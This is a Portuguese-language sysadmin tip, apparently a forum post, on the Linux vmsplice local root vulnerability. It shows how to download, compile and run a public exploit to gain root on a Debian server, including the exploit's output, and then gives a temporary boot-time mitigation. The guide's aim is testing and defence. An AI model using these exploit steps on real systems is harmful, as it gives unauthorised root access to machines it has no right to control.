Esta dica é um resumo e serve para testar e solucionar a falha crítica, baseado no alerta de segurança gerado pelo CAIS (Centro de Apoio a Incidentes de Segurança) utilizando a segunda opção - desabilitar temporariamente a função do kernel vulnerável até o próximo reinício do sistema e habilitando no boot. A primeira opção que seria a atualização do kernel não será abordada.
Testado na distribuição Debian.
1 - Como testar seu servidor:
O teste é feito baixando exploit de:
$ wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
Após baixar, compile com o comando (a compilação e execução das ações abaixo podem ser feitas como root ou usuário comum, foram testadas nas duas formas e foi obtido êxito):
$ gcc -o exploit 27704.c
Obs.: (gcc -o novo_nome_binário fonte_arquivo)
Dê permissão de execução do usuário.
$ chmod 777 exploit
Será criado um executável:
exploit
Copie para a pasta do usuário local, ex.:
$ cp exploit /home/pedro
Entre com o comando:
$ su nome_do_usuário_comum (para logar como usuário comum)
Execute o binário:
$ ./exploit
A saída deve ser a seguinte:
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7df6000 .. 0xb7e28000
[+] root
Depois você simplesmente digita o comando "su -" e não será pedido senha alguma para root e você terá acesso pleno ao servidor como usuário máximo.
2 - Como vacinar seu servidor:
Existem duas formas:
1. Atualização o Kernel (link de abordamento):
2. Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema:
Baixe no link:
$ wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
Compile disable-vmsplice-if-exploitable.c:
$ gcc -o desabilita-exp disable-vmsplice-if-exploitable.c
Obs.: (gcc -o novo_nome_binário fonte_arquivo)
Será gerado seguinte binário:
desabilita-exp
Após a execução de desabilita-exp não terá mais problemas com a vulnerabilidade.
A saída de execução será esta:
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
Exploit gone!
Coloque na inicialização do Sistema Operacional onde você desejar. Ex.: /etc/rc.local ou no /etc/rcx.d.
Reinicie o servidor e efetue os testes referenciados no item 1.
Lembrando que esta medida é temporária, sem a necessidade de compilar o kernel.
Fontes:
Espero ter ajudado. Dúvidas e críticas construtivas estou a disposição.